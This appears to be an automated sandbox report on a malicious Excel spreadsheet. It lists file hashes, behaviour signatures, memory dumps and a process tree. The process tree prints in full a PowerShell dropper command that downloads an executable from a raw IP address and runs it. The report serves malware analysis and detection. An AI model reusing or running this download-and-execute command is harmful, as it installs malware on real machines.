Analysis

  • max time kernel
    49s
  • max time network
    51s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 21:30

General

  • Target

    1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls

  • Size

    23KB

  • MD5

    62b9fa7851ba3147b20ceae3f8b61029

  • SHA1

    4ad45f6d537615bcc07bbc51940b83b3b4842d52

  • SHA256

    1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66

  • SHA512

    f2744b66ef8bfad21ca12a73a66847b4f17910ba9f2f1b83969b4f7100a7b14f21bdacf6021b83b565e9564a62ebf393b74dc8d483410c15a29d1a687540f044

  • SSDEEP

    192:JHa439gyLPUV+/T/D/GX2H5kUyabvHV6jaFEqYGfIoBkJZWMVnTag:c+Lb6AgabP8jaFzYGfIA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2892
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2828

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxn1bznj.gna.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2828-73-0x000001FDA2B50000-0x000001FDA2B72000-memory.dmp

          Filesize

          136KB

        • memory/3484-9-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-80-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-2-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

          Filesize

          64KB

        • memory/3484-5-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

          Filesize

          64KB

        • memory/3484-7-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-6-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-11-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-10-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-13-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

          Filesize

          64KB

        • memory/3484-12-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-1-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

          Filesize

          4KB

        • memory/3484-8-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-3-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

          Filesize

          64KB

        • memory/3484-16-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-15-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-19-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

          Filesize

          64KB

        • memory/3484-18-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-14-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-61-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-4-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

          Filesize

          64KB

        • memory/3484-0-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

          Filesize

          64KB

        • memory/3484-17-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-81-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

          Filesize

          4KB

        • memory/3484-82-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB

        • memory/3484-86-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

          Filesize

          2.0MB